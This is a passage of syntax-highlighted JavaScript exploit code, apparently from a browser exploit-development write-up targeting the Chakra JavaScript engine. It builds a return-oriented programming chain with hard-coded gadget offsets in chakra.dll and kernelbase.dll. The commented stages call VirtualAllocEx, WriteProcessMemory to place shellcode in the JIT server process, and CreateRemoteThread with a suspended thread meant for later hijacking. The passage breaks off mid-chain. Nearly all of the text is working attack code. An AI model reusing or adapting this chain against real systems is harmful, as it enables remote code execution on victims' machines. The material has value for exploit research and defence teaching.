	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// LPVOID lpAddress (RDX)</span>
	<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// HANDLE hProcess (RCX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
	<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

	<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// WriteProcessMemory() ROP chain</span>
	<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

	<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

	<span class="cm">/*
	0:015&gt; dq kernelbase+0x216000+0x4000 L2
	00007fff`58cfa000  00000000`00000000 00000000`00000000
	*/</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// SIZE_T nSize (R9)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// HANDLE hProcess (RCX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
	<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

	<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
	<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// CreateRemoteThread() ROP chain</span>
	<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
	<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
	<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
	<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
	<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

	<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
	<span class="c1">// This can be any random data, since it will never be executed</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
	<span class="nx">next</span><span class="p">();</span>
